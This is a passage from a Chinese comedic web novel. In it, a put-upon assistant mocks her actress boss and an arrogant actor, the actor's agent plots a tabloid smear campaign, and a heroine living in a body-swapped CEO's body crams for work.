阮绵绵一脸娇羞地答应了沈颐,还故作矜持地让他也捎上林娇娇, 美其名曰朋友聚会多点人热闹。 欲盖弥彰, 又当又立,丝毫不在意她的死活。 而更让林娇娇如鲠在喉的是,出发时她习惯性拉开了副驾驶的门, 沈颐却阴沉着脸说这个位置是留给绵绵的,吓得她屁滚尿流赶紧爬去了后座。 因这段插曲,一路上,阮绵绵看她的眼神时不时就闪过一丝戒备,生怕她对自己的亲亲老公产生什么不该有的想法。 莫名其妙被拉进娇妻和霸总的play里,林娇娇的拳头硬了又硬。 虽然她这种ABB式的娇软名字在无脑甜宠文赛道上确实非常无敌,但她也不至于这么饥不择食吧? 你自己看看你那超雄老公招人喜欢吗? 她郁闷地刷着手机,看到喻季年的九宫格湘菜朋友圈后,本就饥肠辘辘的心里更加不平衡了起来。 林娇娇原本就是追星族,抱着对偶像的憧憬才进入了这个行业。 而阮绵绵常年营销闺感明星、佛系老板,说她和工作人员像闺蜜一样相处,吹得天上有地下无的,一时间路人缘好得不行。 她也是信了阮绵绵的邪,一头栽进这个屎坑子里,哪成想不过短短三天的时间,滤镜就碎了个稀巴烂。 后来从前辈那里打听了才知道,阮绵绵的助理离职率在圈内是数一数二的高,之所以不出来说实话,全靠霸王合同捂嘴。 以前不是没有人离职后在网上偷偷吐糟,结果反被阮绵绵以侵犯名誉权起诉,敲诈勒索了30w,至今仍在扯皮,工作也因为被阮绵绵的蓄意报复而处处碰壁,惨得不行。 反倒是风评不怎么好的乔缨,工作室团队居然出奇的稳定。 偶然和喻季年认识后,林娇娇也曾好奇问过,得到的答案是——老板大方得要命,没人舍得走。 说不羡慕是假的。 比起跟在娇妻和霸总身后长针眼受窝囊气,还不如当恶毒大小姐的狗腿子。 乔缨或许不是好人,但和生存相比,这点子道德感算得了什么。 车辆拐进一条小路,周遭的景色愈发陌生荒凉。 好在眼前很快出现了一栋别墅,灯火通明的建筑在黑黝黝的森林里显得格外温馨。 攥着手机正打算报警的林娇娇松了一口气。 下车后,沈颐的助理小吴早早候在了门外,对着阮绵绵点头哈腰鞠了一躬,一开口就是经典台词:“阮小姐,你是少爷带回家的第一个女人。” 再仔细一看,却能看出小吴虽然姿态做得很足,但眼神空洞,语气敷衍,活像是年会上被老板抓阄抓到然后不情不愿上台表演节目的疲惫社畜。 哥们儿,我懂你。 钱难挣,屎难吃。 林娇娇朝他投去一个同情的眼神 拾阶而上,穿过古朴雅致的院落,众人进入这栋豪华无比的建筑物内。 大门厚重而奢华,隔绝了屋外喧嚣凛冽的寒风。 入眼,便是玄关处摆着的几本沈颐的写真集。 封面上,他那双冷冰冰的眼睛睥睨着来客,看起来颇为瘆人。 阮绵绵站在客厅那扇映着森林夜景的超大落地窗前,拉着沈颐兴奋不已:“好漂亮的设计啊!你怎么知道我做梦都想住在这种大房子里的!” 跟着阮绵绵进屋的林娇娇心中却涌现出了大大的疑惑。 好巧不巧,她以前也在房地产行业工作过,可以断言这套房子用的是农村宅基地,应该是不能买卖的,只能租或者借用。 而且仔细观察一下房间陈设,明显是用来作招待宴请用的会所场地,连暖气都没装,怎么看都不像是自住的房子。 良心未泯的林娇娇怕自己老板再被假二代骗了,悄悄给阮绵绵提醒了一句:“绵绵姐,这别墅好像不是沈老师的房子,咱们要不先走吧,我怕你遇到危险。” 但阮绵绵哪里容得下沈颐被人污蔑,颇为生气地指着鼻子教训她:“他是沈氏集团的太子爷,家大业大,权势滔天,我有什么值得人家惦记的?我知道你们这些平民百姓心里不平衡,仇富,但那都是偏见,他和你们一样,只是在好好生活的普通人而已。” 撒完气,她又摆出一副知心大姐姐的模样,语重心长地劝道:“娇娇,你作为我的助理还这么小家子气,如此上不得台面,你让沈家人怎么看我?你年纪小,没见识,这次就先扣你一个月工资吧,当长个教训了。” 说的什么猪话,林娇娇惊呆了。 这是什么教科书般“自我以上人人平等,自我以下阶级分明”的发言? 工资说扣就扣,她难道就不是想好好生活的普通人了? 林娇娇气得都快当场长出乳腺结节了,偏偏阮绵绵当没看到似的。 提点奴才完毕后,她面对沈颐又跟被夺舍了一样,骤然换了一副甜美的模样。 她冒着星星眼一脸娇羞地跟在沈颐身后参观房子,俨然已经把自己当成了这儿的女主人,在巡视她和沈颐的婚房。 末了,还不忘扭头对林娇娇淡淡吩咐一句:“天儿太冷了,去给我和颐哥哥买两杯热咖啡。” 林娇娇在心里狠狠翻了个白眼。 我去你大爸的烂裤衩,阮绵绵不愧是咖市人,ip第一定律了属于是。 这荒郊野岭的,她去哪里给这俩癫公癫婆变两杯咖啡出来? 俗话说得好,老实人心里有座佛,佛压着魔,你若推到了佛 ,就必须面对恶魔。 林娇娇磨磨后槽牙,杀心顿起,愤怒地咬紧了腮帮子。 你大爷的,姑奶奶今天就辞职! 话虽如此,但她很快又想到了这个月即将到期的房租,一腔愤懑热血霎时偃旗息鼓。 如此境况,她也只能继续冷脸做助理的魔,冷脸拿出手机,冷脸在外卖软件上找送咖啡的同城跑腿。 沈颐的助理小吴全名叫吴宇,他提着沈颐大包小包的行李路过,见林娇娇仍然咬牙切齿愣在原地,顺便把她给拽走了。 林娇娇被他拽得一个趔趄,立即蹙眉不满道:“不儿” 吴宇拉拉着一张半死不活的牛马脸,神情木然地对她嘱咐道:“离他俩远点,小心生化武器。” 话音未落,便听到一旁的沈颐痞里痞气地用舌尖顶了顶腮帮子,向阮绵绵挑眉问道:“饿了吗?我给你做饭吃吧。” 阮绵绵惊喜拍手:“哇,沈大影帝还会做饭呢!你还有什么惊喜是我不知道的!” “我常年健身,吃的都是清淡的进口有机食材。” 沈颐从冰箱里拿出三只青虾和八枚荔枝,对阮绵绵扬唇一笑:“今晚材料有限,就吃澳大利亚妃子笑吧。” 阮绵绵配合地点点头。 虽然沈颐的动作不怎么娴熟,但过程也算常规,去核,剥虾,再用葱姜去腥,下水煮熟。 事情发展到现在还没有什么异常。 沈颐一边将肉剁碎,一边拿起熟虾陶醉地闻了一下。 切菜的间隙,还不忘抽空检查容貌,颇为做作地拿起菜刀照了照自己。 他对着菜刀里的倒影,满意地绷紧了下颌线。 吴宇和林娇娇感觉自己的眼睛都要流血了。 不过忽略掉此人的油腻,看手法还真像是那么一回事。 林娇娇暗暗吃惊,腹诽道:“我去,难道他真的会做饭?” 这念头刚刚闪过,她脸上的笑容在看到沈颐掏出来一枚咸鸭蛋后,忽然凝固了一瞬。 他把咸鸭蛋蛋黄捣碎后,像搅合泥巴一样徒手抓抓挠挠,和虾肉完全混合在一起,然后塞进了早早去过核,已经快要氧化的荔枝里。 最后,沈颐宛如古代刑场负责砍头的刽子手一般,气势汹汹地再浇上了一勺热油。 好可怜的虾。 好可怜的荔枝。 好可怜的咸鸭蛋。 滋啦滋啦的声音听得林娇娇胆战心惊。 她面色凝重,小声向吴宇询问道:“这……真的能吃吗?” 吴宇无语地摇了摇头,俨然一副此前已经受过沈大影帝摧残的模样。 他不知想到了什么,忽然一个哆嗦,咬牙切齿地答:“这菜你就吃吧,一吃一个不吱声。” 灶台旁,迎着沈颐期盼的目光,阮绵绵毫不怀疑,满脸幸福地往嘴里塞了一枚面目全非的荔枝。 她闭上眼睛仔细品味,仿佛吃的是什么稀世珍馐。 她一只手娇俏地捂着嘴,兀自品味半晌后才睁开眼,表情比日剧里的人还夸张,十分享受地晃晃头,竖起大拇指:“太好吃了,不愧是沈颐哥哥,十项全能!” 满屋寂静,虚荣心得到强烈满足的沈颐颇为得意地扬扬眉毛,脸上写满了骄傲。 而阮绵绵仍在回味,摆足了专业食评师的架势,用尽毕生所学的词汇,评价总结道:“味道很矛盾,很好吃,最后的辣椒油给它加上了一些烟火气。” 她也不忘立善良大方的人设,朝林娇娇招手:“这种高级创意菜你们平时没机会吃吧?来,娇娇、小吴,你们也尝尝,以后和沈颐哥哥在一起,我们可有口福了。” 这福气给你要不要? 不对,她还真要。 “哎呦,哎呦,我肚子突然好痛,沈哥阮姐我先去趟厕所哈!” 吴宇腿一软,脚底抹油地扔下一句话就跑了。 被小吴拂了面子,阮绵绵转而把视线牢牢钉在林娇娇身上,皮笑肉不笑地用眼神威胁道:“娇娇呢?快过来吃呀,你是我的助理,更是我的朋友,不用这么见外的。” cinema跟你是朋友。 林娇娇紧张地咽了口唾沫。 不是见外不见外的问题。 这荒郊野岭的连个医院都没有,吃出肠胃炎了可咋整? 她看着阮绵绵的表情,一阵迟疑。 看她神色自若的模样,似乎没有自己想象的那么难吃? 林娇娇将信将疑地挪了过去,往嘴里夹了一个荔枝。 怎么讲,这口感,简直震撼! 首先,是糊嘴的辣椒油,其次,是被热油激发出来的鸭蛋黄腥味,最后,是回味无穷的氧化荔枝的酸气。 确实是很矛盾的味道,有点太矛盾了,矛盾到想yue。 嘴里好像被生化武器袭击了,林娇娇捂着嘴,止住了一次干呕。 她向阮绵绵慈爱地点点头:“好吃,挺好吃的,好吃你就多吃点。” 然后飞速跑到厕所呕了个昏天黑地。 正在这时,沈颐的经纪人李群突然打了个电话过来,语气十分焦急:“你带阮绵绵回别墅了?你俩又被拍了知不知道!” 沈颐宽慰地拍拍阮绵绵的脑袋,走到空房间里,无所谓地回话:“拍到就拍到呗,反正老子爷身正不怕影子斜。” 李群气笑了:“你敢说你对她没有好感?” 不懂爱的奔三大男孩还在嘴硬,闻言嗤笑道:“我对阮绵绵真没想法,我要是真想干什么,今天也不会叫吴宇来了。反正我和她正在炒绯闻,你们看着办就好。” 李群听罢,扶额苦笑了一下。 炒cp是不假,但这里有个致命性的遗留问题:沈颐其实算肖竹逸的前辈,也是靠在综艺里卖腐才翻红来着。 粉丝里有两成是当年解绑提纯吸过来的死忠毒唯,剩下八成全是cp粉啊! 甩都甩不掉,跟鬼一样死死缠着他啊! 现在和阮绵绵这一炒,刚平静没多久的粉圈不知被谁挑拨,认定了沈颐想要独美。 再加上沈颐对他卖腐搭子冷冷淡淡的态度,这批粉丝当然不干了啊,觉得这不明明白白过河拆桥吗? 所以cp粉翻出了沈颐当年卖腐的片段送上了热搜,还P上一句触目惊心、字字泣血的经典语录:“沈颐始乱终弃!” 然后沈颐和阮绵绵的cp粉也有样学样地反击,把两人的同框图上也P上了几个炫彩夺目的大字:“沈颐不是骗婚gay!” 整个晋西北乱成了一锅粥。 林娇娇吐完后,一脸菜色地瘫在楼梯上,随手点开热搜上沈颐参加综艺的视频。 那时的沈颐稍显青涩稚嫩,尚未揣摩到如今桀骜不驯的浪子人设。 视频里的他,媚眼如丝地挂在队友身上,撅着嘴一脸陶醉地吃葡萄,香肩半露,和现在的形象大相径庭。 再往下翻,甚至还有他早期媚粉穿女装的微博截图。 盯着那张照片,林娇娇欲言又止,止言又欲,不知所措地张了张嘴,表情复杂道:“你说,沈颐为什么要保留自己女装的历史?” “你有所不知……” 坐在一旁的吴宇沉痛地垂了垂眼,语气肃然:“他卖过沟子。” 第19章 第十九章 她们是宾馆我才是家 信息量太大了。 林娇娇张大嘴巴, 怔在原地。 联想到前几天沈颐在帝爵酒店夜会某传媒集团高层的小道新闻,她一时间好像发现了什么不得了的事情。 林娇娇张口结舌,憋了好半天, 才憋出来一句:“那……那你给他当助理也挺不容易的。” “还好那些照片被压了下来,不然我得失业。” 吴宇面露沧桑地叹口气:“别说我了, 你老板怎么样?看起来也挺缺心眼儿的。” “嗐,”林娇娇嫌弃地摆摆手, “她都能觉得肖竹逸可怜, 我不必看她八字,她这辈子必离婚三次。” 手机震了两下,是林娇娇点的两杯咖啡到了。 因为这里距离城区太远,只有少数几家价格昂贵的咖啡厅愿意配送,所以加上配送费总共花了三四百, 比她一周的伙食费都多。 肉疼的林娇娇提着咖啡递给阮绵绵, 期期艾艾开口:“那 个……绵绵姐,这次的咖啡钱可以先给我报销吗?过几天要交房租了, 我想多攒点生活费……” 这家咖啡店最近营销的噱头很大,阮绵绵自然也听说过。 她一边在桌上摆弄着咖啡, 找角度拍照发朋友圈, 一边头也不抬地敷衍: “这点小钱你也斤斤计较,我觉得你特较真儿……行了, 把发票放桌上吧,我待会儿让李姐给你转。” 得了吧。 估计等李姐进提篮桥了她都拿不到这钱。 林娇娇背过身, 窝窝囊囊地攥紧了拳头。 狗东西, 最好别让我找到你偷税漏税的证据! 房间内。 李群在电话那头思来想去,觉得现在想挽回局面,无非就一条公关思路。 无论沈颐对阮绵绵究竟是什么态度, 首先要咬死两人只是朋友关系,然后再放出点别的绯闻,把cp粉的火力转移到别人身上。 至于这个别人是谁——— 当然是乔缨这个万年舔狗,不用白不用。 他思忖道:“这样,你先开个直播安抚好粉丝,然后我会让人放出你和乔缨的绯闻转移视线,你记得在她和粉丝面前装装样子。” 沈颐皱着眉张嘴就想拒绝。 李群直接打断了他,把话悉数堵了回去:“你先别急,听我跟你分析。和乔缨炒绯闻有几个好处,第一是可以用她来给阮绵绵挡枪,第二是可以蹭她热度,第三是她名声不好,炒绯闻挨骂的也是她,不会让你掉粉。” 沈颐沉思了一会儿,觉得李群说的话有几分道理。 只是想要实施这个计划,还有一个前置问题需要解决。 沈颐一脸烦恼:“可是乔缨最近不知道怎么了,对我的敌意很大,她这种不配合的态度,cp能炒得起来吗?” 李群从鼻子里哼出来一声:“你还是太善良了,直接发通稿说乔缨是爱而不得、由爱生恨不就行了吗?再去豆瓣里开几个贴反炒,什么舔狗舔一半不舔了啊,什么烂人真心、浪子回头啊,再编出几个赛博孩子,包有人嗑的。” 卧槽,还能这么干? 李群不愧是业内金牌经纪人,这公关能力真的绝了。 “你装一装,那些蠢女人就会信的,追妻火葬场不都是这么演的吗?” 李群冷笑,随后悉心嘱咐道:“你跟乔缨不是青梅竹马还有婚约吗,你这几天把你俩的故事梳理一下,最好再加点物证照片什么的,到时候我好找营销号编编料。” 沈颐嘴上答应了,心里却不断回想着能有什么证明他和乔缨关系的东西。 经过今天早上的事,乔缨已经把他电话拉黑了,微信也删了,而因为之前他对乔缨的厌烦,两人更是连张合照都没有。 只有那个所谓的婚约,兴许还能在爷爷那里找出一点残余的证据。 一说起乔缨,李群恍然之间想起来,好像有个恋综找了她,顿时精神一振。 “对了,听说乔缨答应去《怦然心动的那天》了,节目组有意让阮绵绵也加入,要不你跟着她一起去呗。” 沈颐皱起川字眉:“我都说了,我不喜……” “好好好,你不喜欢。” 李群对他的口是心非见怪不怪,苦口婆心地耐心劝导:“要是你参加了,以你的咖位和人气,节目组一定会给你一个好剧本。想想看,你既可以羞辱乔缨,又能和阮绵绵搞暧昧,那些绯闻也可以顺势说成节目组预热,这不就和我们撇干净关系了吗?” 沈颐听到一半已经开始走神。 很显然,他平滑的大脑还不足以处理这么冗长的文字。 他不耐烦地顶顶腮帮子,开口打断道:“行了,我会开直播辟谣,剩下的你看着办吧,我照着做就是了。” “可以可以,”见他一口答应,李群忙不迭地开始安排流程,“你先去粉丝群里发个预告,说半个小时后直播,我让公关组的给你写稿子,你照着念就行。” “不需要,我自己来。” 沈颐斩钉截铁地切断了电话,只留给李群一阵仓促的忙音。 笑话。 拜托他可是沈颐,堂堂大影帝,公关组什么档次什么水平,也配给他写直播稿? 沈颐找来手机支架调好了角度,对着空无一人的直播间欣赏了十分钟自己的音容笑貌,满意地点开了开始直播的按钮。 因为工作人员紧急通知了后援会的大粉,直播间里迅速涌入了大量的粉丝和一小撮吃瓜的网友。 沈颐见人都来得差不多了,酝酿了一下情绪,劈头盖脸地开始咒骂: “mlgb的,我沈颐再他妈说一遍,我没有谈恋爱!我和阮绵绵只是合作关系!娱乐记者们别再无端造谣了我操,我要谈恋爱我一定会说,也不怕全家被雷劈,天冷了给坟上多盖点土别蹦哒!再这样,我让你们公司倒闭一辈子滚出京市信不信?” 其间还夹杂着一些意味不明的赛博坦语言。 虽然话说得颠三倒四,但好在情绪到位,屏幕上立即飘过一片赞同的弹幕: 【哈哈哈我哥真性情!】 【哎呦喂就喜欢哥们儿这嘴,爽了!】 【娱记们看到了吗,不要得罪沈颐,京城太子随随便便就能拿捏住你们这群人的生死呀[坏笑]】 零星几条质疑他作为公众人物居然这么没素质的评论,很快被淹没在粉丝的辱骂声中。 骂完人,他稳了稳情绪,又对着粉丝无比深情地说道:“也希望粉丝们相信我,我还是那个喜欢一个人骑摩托看星星的桀骜不驯大男孩,约定好了2024作品见,你们为我冲锋陷阵,我一定不会食言!” 他这话一出,直播间的粉丝瞬间打起了鸡血,一溜烟地开始刷屏: 【2024恭迎颐帝登基!】 【2024恭迎颐帝登基!】 【2024恭迎颐帝登基!】 …… 只有误入直播间的路人一头雾水: 【我尼玛,这什么邪教现场?】 房间外,阮绵绵站在书柜前,对着某张合照怔怔出神。 林娇娇觉得她神情奇怪,凑近一看,发现那是一张几年前微博之夜的合照。 彼时的阮绵绵还没进圈,觥筹交错、纸醉金迷的生活对她来说还很遥远。 不过这些都不是重点,重点是这张照片,乔缨站在了沈颐的身边。 阮绵绵叹了口气,惆怅不已:“乔缨长得这么好看,就算沈颐爱上他,我也心甘情愿服输。” 那你为什么还要在网上煽动粉丝,骂乔缨是小三? 林娇娇对她故作大度的发言看破不说破。 作为一名精通人性的地摊文学爱好者,她十分能理解阮绵绵对乔缨复杂且拧巴的心态。 咱们大绵的心思看似矛盾,实际很好懂:她怕乔缨惦记她老公抢走名分,又怕乔缨不惦记她老公移情别恋。 因为要是没了恶毒女配作妖,就不能凸显出她才是正妻,也不能衬托出“她们是宾馆我才是家”了。 见林娇娇不搭腔,阮绵绵自顾自地开始剖析自己爱上沈颐的心路历程:“你知道吗,沈颐从小家庭破碎,所以才变成像现在这样浑身都是刺的。” 她温柔地笑了一下,眼里满是慈爱:“虽然他私底下烟酒都来,换女友如换衣服,脾气差又爱骂人,但我知道他其实是个很好的人,我想治愈他,照亮他,成为他人生中的小太阳。” 来了来了。 一技能:他只是不懂爱,不会表达爱。 二技能:他童年不幸福,身世凄惨。 三技能:他不是素质低人品差,他不过是在用竖起尖刺的方式保护自己。 行呗,治愈呗,也就你能给一坨屎糊上这么厚的滤镜了。 人家乔缨不也是这个配置,也没见大绵对她有啥好脸色。 爱男人就爱男人,还小太阳。 太阳知道你搞性别歧视吗? 阮绵绵又开始絮絮叨叨地回忆起和沈颐的甜蜜初见,林娇娇被烦得头疼,心不在焉玩起了手机。 入职几个月,他俩的爱情故事听得她耳朵都起茧 子了。 谁能猜得到,阮绵绵嘴里“他其实是个很好的人”,其实只不过是某次沈颐在她生理期时送了杯红糖水而已。 且不说生理期喝红糖水到底有没有科学依据,单就沈颐这个举动,也没有多纯粹。 从阮绵绵主观唯心的叙述里,林娇娇联系上下文,根据逻辑推理,精准地抓住了这件事的真相——— 沈颐不过是追求同组的女演员被拒绝,把人家不要的东西顺手塞给阮绵绵罢了。 后来那女演员也不知得罪了哪个大人物,资源一落千丈,阮绵绵还假模假样地惋惜了半晌,说虽然女演员人挺好,但这就是拒绝沈颐的报应。 难评。 一杯红糖水就能被男人迷得死心塌地,而那位对刚出道的阮绵绵多加照顾的女演员,就因为拒绝了沈颐的追求,在她嘴里只能落得一个“活该”的评价。 这不是白眼狼,还有什么是白眼狼。 在林娇娇隐秘而鄙视的视线下,阮绵绵潜伏在沈颐粉丝群里的微博小号提示沈颐开直播了。 她匆忙点了进去,可一进直播间,就听到那句“我和阮绵绵只是同事关系”,脸色瞬间煞白了下来。 “他嘴硬呢,”林娇娇见她一脸颓败,随口安慰了几句,“他这么说是为了保护你,隐忍的爱,懂吗?” 听到这话,阮绵绵懵懵懂懂抬起头,两眼含泪地望着她:“真、真的吗?” “真的真的。” 见她这个样子,林娇娇总算弄清楚自己在这出霸总娇妻的闹剧里担当什么角色了。 替不长嘴的男女主解释的npc。 林娇娇循循善诱道:“你想想看,乔缨可是沈颐的正牌未婚妻,但你们发生冲突时,他从来都站在维护你的角度,这还不是爱吗?要是沈颐对乔缨有对你十分之一的好,她何必这么苦苦抓着沈颐不放?还不是因为不甘心。” 她郑重地拍拍阮绵绵的肩,竖起一根大拇指,“这场没有硝烟的竞争,是你赢了。” 很好。 娇妻文学的究极奥义———雌竞,已经被她掌握透彻。 阮绵绵一听,果然恢复了状态,面露喜色,咬着手指喃喃自语:“对啊,我就知道,沈颐哥哥是为了保护我,为了保护我……” 林娇娇摇头啧了一声。 这个沈颐,连自己喜欢谁爱谁都不清楚,脑子明显有问题,在这种老板手底下做事免不了一身骚,幸好自己不是他的助理。 好吧,阮绵绵的脑子也没好到哪里去。 正巧,沈颐那边结束了直播,神清气爽地走了出来。 他看见阮绵绵站在门外,眼眶红红,惊讶地问了一句:“绵绵,你怎么了?” 阮绵绵破涕为笑:“我没———” “对了,我听说有档恋综邀请你去。” 没等她说完,沈颐又皱起眉头摆出训诫的样子。 他语气严肃地开始说教:“绵绵,你一个女孩子,独自上这种节目是怎么想的?我很不放心,你们女孩子缺少警惕意识,娱乐圈的男人都不是好人,你别被骗了。” “但你除外,”阮绵绵不以为意地娇羞道,撒娇般晃晃沈颐的手臂,“既然你不放心,你和我一起去好不好?” 沈颐假意推脱,为难地说:“这不好吧?节目组没有邀请我,我不请自来,总归是不礼貌。” 阮绵绵甜甜一笑:“没关系呀,制片人是我叔叔,我和他说一声就好啦。” 沈颐这时才松开了紧皱的眉头,欣慰地摸摸阮绵绵的头,挑眉痞笑,对她揶揄打趣:“我们家绵绵真是长大了。” 一片粉红色泡泡的暧昧气氛里,只有缩在角落里吃瓜的林娇娇听得惊叹连连。 是她错了,她要收回说沈颐脑子不好的话。 怪不得人家是影帝呢,这三言两语的诱导拉扯,居然不费吹灰之力就当上赘婿了。 多么诡计多端的男人,这简直就是软饭硬吃的高手啊! 第20章 第二十章 “你老公?”“你老公。”…… 恼人的阴雨天终于结束, 温度回暖,干燥的冷空气打着旋儿穿过树梢。 在这阳光灿烂的日子里,京市发生了一件大事。 某餐饮企业老总因效益下滑, 不惜发动歹毒的商战,指使员工去各大竞争对手的门店卧底, 并趁后厨备菜时偷偷向饭菜里下泻药,致使五十余人腹泻食物中毒。 在这阳光灿烂的日子里, 京市还发生了一件小事。 之前因黑料反转而再度引起热议的女明星乔缨, 被拍到和昭星创始人裴砚知共进晚餐。 两人有说有笑,姿态亲昵,疑似恋情曝光,有知情人称好事将近。 与此同时,传说中乔缨苦苦追求爱而不得的男艺人沈颐或因此事受到刺激, 吃醋到半夜点赞和乔缨的同框照宣示主权。 然而沈颐本人, 也正因为澄清绯闻时的直播片段太过抽象被网友们大肆嘲笑审判,热心群众纷纷劝他及时去医院检查一下染色体是否变异。 团队紧急公关, 连沈颐大闹医院的视频都全网举报下架。 但捂嘴也没什么效果,毕竟如今早已不是天翼3g的时代。 经过吃瓜网友的逐帧分析, 发现视频里的另一个男人正是乔缨的哥哥乔俞诚。 吊诡的是, 二人大打出手的原因竟是女星阮绵绵的脸上贴了个创口贴。 而阮绵绵,正是不久前被裴砚知亲自打脸闹上热搜的主人公。 至此, 三个人的燃冬变成了五个人的舞台,甚至还有头有尾, 形成了一个完整的闭环。 有网友称, 这几个人混乱的关系,复杂到或许需要画张思维导图才能够梳理清楚。 不过虽然网上正炒得沸沸扬扬,可作为事件的中心, 乔缨本人此刻却顶着一双黑眼圈和鸡窝头,从书桌上缓缓抬起了脑袋。 她揉揉酸痛的肩膀,伸了伸懒腰,迷迷瞪瞪往窗外看了一眼,嘟囔了一句:“怎么又天亮了。” 裴砚知的总助昨天刚休完产假回来上班,有人分担工作后,乔缨索性宣布要居家办公,抱着一堆文件回了别墅,泡进书房里开始埋头研究起来。 电脑屏幕幽幽亮着,有关量闻项目组的所有数据密密麻麻充斥着页面,其间还夹杂着大量的参考文献和批注。 哪怕乔缨也是正儿八经的工科毕业生,但对芯片技术和电气工程领域也只是一知半解。 看着宛如天书一般的资料,乔缨抓抓头发,拿出大学考试周的状态,企图用一个晚上创造奇迹速成学习。 笑话,量闻的新品发布会在即,她都对裴砚知大放厥词说要当最牛逼的总裁了,怎么可能露怯让人看出自己的不专业。 定时来别墅里做饭的阿姨敲响房门,乔缨一抬头,那憔悴的面容猝不及防吓了她一跳。 阿姨在裴家工作多年,对裴砚知的感情颇深,此刻正不无担忧地问:“裴总,早餐做好了,您要不要休息一下?” 乔缨微微颔首,简短答道:“放桌上吧,谢谢王妈。” 被唤做“王妈”的阿姨诡异地沉默了两秒。 “裴总,我姓刘。” 乔缨揉了揉太阳穴,“看资料都看糊涂了……谢谢你,刘阿姨。” “不打紧,不打紧。” 刘爱萍眼神慈爱地退了出去,关上房门,内心感慨万千。 裴总真是太爱学习,太想进步了! 自家那快要高考的宝贝外孙女,要是有裴总一半努力就好了。 莫名其妙被乔缨激励到的刘爱萍立即掏出手机,给外孙女打了个视频通话,敦促她早点起床开始一天的刻苦奋斗。 视频刚一接通,房间里忽然传来一声响亮无比的“unbelievable!” 刘爱萍顺势开始数落:“你看看人家裴老板,到了周末连懒觉都不睡,一大清早就学上洋文了!我的宝贝大孙女哎,你可长点心吧!高三可是最关键的一年!” 被吵醒的刘煦曦也崩溃了,瞪着铜铃般的眼睛咆哮如雷:“姥!他那是在学习吗?他是在玩开心消消乐好不好!” 房间内。 乔缨刚打完一把酣畅淋漓的益智小游戏,颓唐地 往真皮沙发里缩了缩。 真没想到学个习还学出推背感了。 好像有一股神秘的力量从后面把她推到桌子上趴着睡觉。 双眼呆滞地发了一会儿呆,乔缨头轻脚重地打开浴室门,打算冲个澡清醒清醒。 熬完夜的身体像梦游似的混沌又清醒,水珠噼里啪啦砸向地面,和她脑子里的东西一样杂乱无章。 首先浮现出的,是原著里反复提到过的内容。 为了彰显男主角显赫的地位和背景,原文详细描写了沈氏集团近几年通过投资新兴产业赚得盆满钵满,逐渐形成庞大的商业帝国,把控着全国经济命脉的剧情。 出于好奇,乔缨去了解了一下那些所谓的新兴产业。 大部分都是空有概念来骗投资的,有些还涉及到了灰色产业,只有零星几个项目还算是有点真材实料的东西。 所以原著内容并不完全可信,她指望着开金手指赚大钱的白日梦算是没戏。 不过,凭借着剧情把沈家搞破产倒是有点可能。 比起把握住全国经济命脉,乔缨更相信沈家人的最终结局是进局子里。 再说回男女主角。 按照剧情发展,沈颐今年投资的一部小成本电影将会在上映后现象级爆红,饰演女主角的阮绵绵更是借此一飞冲天,拿奖拿到手软。 关于这电影的传闻乔缨也听说过,不过大部分都是乐子。 导演朴冬是个新人,在行业里没什么话语权却又自视甚高,非觉得自己天赋异禀人人都要求着演他的戏。 但一看作品本身吧,除了一坨狗屎想不出其他的形容词。 标榜着文艺,实则低俗烂俗恶俗,很标准的三俗电影。 在屡次三番被人拒绝后,朴冬愈发瞧不上娱乐圈这群追名逐利、拜高踩低的人,多次出言讽刺,上蹿下跳把能得罪的人都得罪了个遍,在圈子里也算是出了名。 不过,好在有冤大头———沈颐和阮绵绵给他兜底。 原著中写道,不被看好的新锐导演朴冬终于在今年冬天遇上了心软的知音,三人一拍即合,终于创造出一部能写进影史的传奇! 也不知道在燃些什么。 凭借着她这么多年的演艺经验,以及对沈颐审美的了解,若非是主角光环,这电影爆不了一点,连上映都成问题。 算算时间,或许明年春天就会开机,她那时应该也挺忙的。 追回乔家财产的案件已经委托给了业内一家知名的律所,大概这几天就会有律师联系。 还有这该死的身体互换,得找个法子和裴砚知换回来,她可不想当一辈子男人。 乔缨甩甩头,拿起浴巾抹了把脸,走到镜子前。 水珠从半干的头发坠落,一路滑到锁骨,白皙的肌肤上留下淡淡的水渍。 对镜凝视片刻,乔缨又精神抖擞了起来。 镜子里,是一具很漂亮的身体。 恰到好处的肌肉很好地撑起了这副大骨架,蓬勃有力的线条无一不散发着健硕的美感,关节处还泛着淡淡的粉。 修长,有力,且匀称。 就连皮肤也干净清爽。 毫不夸张地说,裴砚知就算去东北搓澡都不会下泥。 乔缨一直觉得男人的腿毛、胸毛、各种毛是世界上最恶心的东西之一,而裴砚知显然很注重这方面的管理,活得非常精致。 真是赏心悦目得很。 一身的硬实力,她有理由相信,哪怕有天裴砚知破产了,这人也能靠当男菩萨擦边擦出一辆库里南来。 可惜熬完夜的脸带着些许疲惫,配上他冷漠的长相,看起来总是一副淡淡的死样。 或许自己是真的没什么当人类的天赋。 刚和裴砚知换了没几天,这副身体已经被她糟蹋成活人微死的状态了。 洗漱完后,乔缨一边吃早餐,一边放空自己,觉得还是得对裴砚知的健康负责。 那就出去晒晒太阳吧。 今天天气好,别墅前有一块大草坪,小区的物业正勤勤恳恳拿着割草机修剪花草。 自动灌溉机喷出水柱,阳光穿透水滴折射出小型彩虹,在水雾里若隐若现。 不愧是高端住宅,连配套设施都这么奢侈。 乔缨适应了一下阳光,就在她愣神的间隙,一个飞盘呈抛物线精准地朝她的方向飞来。 飞盘将要砸到她手肘的瞬间,一只矮胖矮胖的沙皮狗突然不知道从哪里蹿了出来,奋起一跃,牢牢叼住了这个袭击她的暗器。 乔缨惊魂未定地拍拍胸脯。 沙皮狗的头顶上长着一撮像锅盖刘海的毛,她蹲下来摸了摸它的刘海头,欣慰笑道:“谢谢你啊,这么会叼飞盘,就叫你老胡好了。” 老胡汪汪叫了两声,不远处有道人影匆匆赶来。 水雾弥漫,阳光明媚,在氛围感拉满的浪漫场景里,蒋南宇像偶像剧男主一样闪亮登场。 他嘴角噙着歉疚的笑,念叨着“抱歉,抱———”,却在看到乔缨的脸后卡了壳,僵硬在原地。 怎么个情况。 这是有邻里矛盾? 乔缨觑着眼,不动声色地打量着来人。 看打扮,是她最不喜欢的商务精英那一挂,反光的镜片下满眼写着算计和精致利己。 不过这哥们儿大早上的就出来玩飞盘,是要参加奥运还是闲得发慌? 蒋南宇见她无动于衷的模样,表情瞬间扭曲了起来,语气阴狠:“裴砚知,再见到我,你就没什么想说的吗?” 乔缨挠头:“不好意思,你谁?” 没有阴阳怪气的意思,她是真不知道。 “事到如今,你是想装不认识我?” 蒋南宇被她无视的态度气得咬牙切齿,冷冷哼一声:“这么多年了,你还是这么傲慢!拿我当傻子耍吗?” 